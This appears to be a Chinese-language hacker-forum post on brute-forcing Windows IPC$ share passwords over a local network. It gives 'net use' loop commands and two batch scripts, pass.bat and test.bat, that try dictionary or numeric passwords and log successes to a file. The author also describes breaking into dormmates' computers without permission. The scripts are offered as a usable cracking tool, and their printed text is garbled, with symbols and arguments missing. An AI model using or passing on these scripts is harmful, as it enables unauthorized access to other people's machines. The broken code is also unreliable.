net use 主機 ipc$ 密碼 user 用戶
與遠程主機建立連接，這是每壹個黑客或是夢想成為又或是正在努力成為黑客的朋友都知道的方法，甚至連我這個連菜鳥都算不上的小鳥都知道，我也僅僅知道這壹條，我就用我僅僅知道的這壹條在宿舍網裏進入別人的電腦，因為他們的電腦密碼都為空，被他們發現了之後狠K了壹頓，然後紛紛加上了密碼，這下可沒戲了，想去偷窺他們的密碼他們又防範得緊，只得想其他辦法，也許各位大蝦們就會利用其他方法，諸如尋找系統之類得到管理權限，而我不行，因為我前面說過，我只會那壹條，那又會有人說用軟件暴力破解密碼就可以了，也許不錯，但首先我沒有那些高深的軟件也沒有天賦去研究那些復雜的用法，卻在無意間看DOS幫助時發現了壹些命令，當真是天無絕人之路：
1、字典：for f %i in (字典文件) do net use 主機 ipc$ user: 用戶
2、數字：for l %i in (start,step,end) do net use 主機 ipc$ user: 用戶
以上可參看DOS裏面for幫助，還別說，真讓我給連上幾臺機子，可問題也隨之而來，連是連上了，我仍然不知道密碼，下次要用還得重新全部試過。
正失望，無意間又發現了壹個好方法，也許是我太笨，也許妳們更聰明，，說不定妳們早已經發現了，不再說廢話，下面就將方法全部給出，請各位大蝦指正：
將下面文件存為pass.bat:
@echo off
echo c: pass.txt
echo c: pass.txt
date t c: pass.txt
time t c: pass.txt
echo 破解結果： c: pass.txt
if goto shit2
:shit1
start 正在破解 min cmd c for f %%i in do call test.bat
goto quit
:shit2
start 正在破解 min cmd c for l %%i in do call test.bat %4 %5
:quit
將下面文件存為test.bat:
net use \ipc$ %2 user
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前壹命令執行返回結果，net use成功返回0，失敗返回2
:answer0
echo 遠程主機 c: pass.txt
echo 用 戶 c: pass.txt
echo 密 碼 c: pass.txt
net use ipc$ delet
exit
:answer2
將pass.bat與test.bat存放於system32中，用法如下：
1、如果用字典破解：pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數字破解：pass.bat 起始數 步長 結束數 主機 用戶名 1
密碼破解出來之後，存放於c: pass.txt文件裏面。
另外，我做的這些只是在局域網內測試，如果遠程測試，受網速限制，具體情況只能靠自己去摸索。